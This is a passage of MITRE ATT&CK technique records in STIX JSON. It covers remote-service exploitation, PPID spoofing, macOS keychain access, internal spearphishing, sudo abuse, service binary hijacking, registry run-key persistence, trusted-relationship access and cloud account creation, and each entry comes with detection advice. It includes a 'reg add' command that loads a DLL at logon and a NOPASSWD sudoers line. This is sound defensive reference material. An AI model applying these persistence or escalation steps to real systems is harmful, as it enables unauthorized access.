Access.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ExtraHop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1210","url":"https://attack.mitre.org/techniques/T1210"},{"url":"https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/","description":"CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.","source_name":"CIS Multiple SMB Vulnerabilities"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2017-0176","description":"National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.","source_name":"NVD CVE-2017-0176"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-6662","description":"National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.","source_name":"NVD CVE-2016-6662"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7169","description":"National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.","source_name":"NVD CVE-2014-7169"}],"modified":"2022-02-24T15:06:46.006Z","name":"Exploitation of Remote Services","description":"Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network."],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wayne Silva, F-Secure Countercept"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142","type":"attack-pattern","created":"2019-06-03T14:50:50.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1502","url":"https://attack.mitre.org/techniques/T1502"},{"description":"Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.","url":"https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/","source_name":"DidierStevens SelectMyParent Nov 2009"},{"description":"Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.","url":"https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works","source_name":"Microsoft UAC Nov 2018"},{"description":"Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.","url":"https://www.countercept.com/blog/detecting-parent-pid-spoofing/","source_name":"CounterCept PPID Spoofing Dec 2018"},{"source_name":"CTD PPID Spoofing Macro Mar 2019","url":"https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/","description":"Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."},{"description":"Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.","url":"https://blog.xpnsec.com/becoming-system/","source_name":"XPNSec PPID Nov 2017"},{"source_name":"Microsoft Process Creation Flags May 2018","url":"https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags","description":"Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."},{"source_name":"Secuirtyinbits Ataware3 May 2019","url":"https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3","description":"Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."}],"modified":"2020-02-18T18:23:31.546Z","name":"Parent PID Spoofing","description":"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"privilege-escalation","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Host forensic analysis","Heuristic Detection"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1142","url":"https://attack.mitre.org/techniques/T1142"},{"url":"https://en.wikipedia.org/wiki/Keychain_(software)","description":"Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.","source_name":"Wikipedia keychain"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"}],"modified":"2020-02-12T18:55:55.305Z","name":"Keychain","description":"Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T15:59:36.741Z","name":"Internal Spearphishing","description":"After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Tim MalcomVetter","Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"],"x_mitre_deprecated":false,"x_mitre_detection":"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux","SaaS","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","created":"2019-09-04T19:26:12.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1534","external_id":"T1534"},{"source_name":"Trend Micro When Phishing Starts from the Inside 2017","description":"Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.","url":"https://blog.trendmicro.com/phishing-starts-inside/"},{"source_name":"Int SP - chat apps","description":"Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/"},{"source_name":"Trend Micro - Int SP","description":"Trend Micro. (n.d.). Retrieved February 16, 2024.","url":"https://www.trendmicro.com/en_us/research.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1169","url":"https://attack.mitre.org/techniques/T1169"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.","source_name":"OSX.Dok Malware"}],"modified":"2020-02-05T20:11:12.593Z","name":"Sudo","description":"The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["root"],"x_mitre_is_subtechnique":false},{"modified":"2023-03-30T21:01:37.026Z","name":"Services File Permissions Weakness","description":"Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan Kanthak"],"x_mitre_detection":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Modification","File: File Creation","Process: Process Creation","Service: Service Metadata"],"x_mitre_effective_permissions":["SYSTEM","Administrator","User"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","created":"2020-03-12T20:43:53.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/010","external_id":"T1574.010"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"modified":"2024-09-12T15:27:58.051Z","name":"Registry Run Keys / Startup Folder","description":"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe","Dray Agha, @Purp1eW0lf, Huntress Labs","Harun Küßner"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.0","x_mitre_data_sources":["Command: Command Execution","File: File Modification","Process: Process Creation","Windows Registry: Windows Registry Key Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","created":"2020-01-23T22:02:48.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/001","external_id":"T1547.001"},{"source_name":"Malwarebytes Wow6432Node 2016","description":"Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.","url":"https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"},{"source_name":"Microsoft Wow6432Node 2018","description":"Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"},{"source_name":"Microsoft Run Key","description":"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"},{"source_name":"Oddvar Moe RunOnceEx Mar 2018","description":"Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.","url":"https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:08:39.968Z","name":"Trusted Relationship","description":"Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Praetorian","ExtraHop","Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"x_mitre_deprecated":false,"x_mitre_detection":"Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Identity Provider","Office Suite"],"x_mitre_version":"2.4","x_mitre_data_sources":["Logon Session: Logon Session Creation","Logon Session: Logon Session Metadata","Network Traffic: Network Traffic Content","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1199","external_id":"T1199"},{"source_name":"CISA IT Service Providers","description":"CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.","url":"https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers"},{"source_name":"Office 365 Delegated Administration","description":"Microsoft. (n.d.). Partners: Offer delegated administration. Retrieved May 27, 2022.","url":"https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Cloud Account","description":"Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Praetorian","Microsoft Threat Intelligence Center (MSTIC)","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.6","x_mitre_data_sources":["User Account: User Account Creation"],"type":"attack-pattern","id":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","created":"2020-01-29T17:32:30.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1136/003","external_id":"T1136.003"},{"source_name":"Microsoft O365 Admin Roles","description":"Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.","url":"https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"},{"source_name":"AWS Create IAM User","description":"AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html"},{"source_name":"AWS Lambda Execution Role","description":"AWS. 